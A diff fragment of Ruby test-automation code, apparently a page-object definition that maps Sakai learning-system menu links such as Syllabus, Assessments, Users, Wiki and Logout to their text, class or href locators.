+  menu_link :sites, :class=>"icon-sakai-sites"
+
+  menu_link :skin_manager, :text=>"Skin Manager"
+  menu_link :super_user, :text=>"Super User"
+
+  # Styles
+  menu_link :styles, :text=>"Styles"
+
+  # Syllabus class.
+  menu_link :syllabus, :text=>"Syllabus"
+
+  # AssessmentsList class OR the TakeAssessmentList for students
+  menu_link :assessments, :class=>"icon-sakai-samigo"
+
+  # UserMembership
+  menu_link :user_membership, :class=>"icon-sakai-usermembership"
+
+  # Users
+  menu_link :users, :class=>"icon-sakai-users"
+
+  # WebContent
+  menu_link :web_content, :class=>"icon-sakai-iframe"
+
+  # Wikis
+  menu_link :wiki, :class=>"icon-sakai-rwiki"
+
+  # The Page Reset button, found on all Site pages
+  menu_link :reset, :href=>/tool-reset/
+
+  # Login class.
+  menu_link :logout, :text=>"Logout"
+  alias :log_out :logout
+  alias :sign_out :logout
+
+end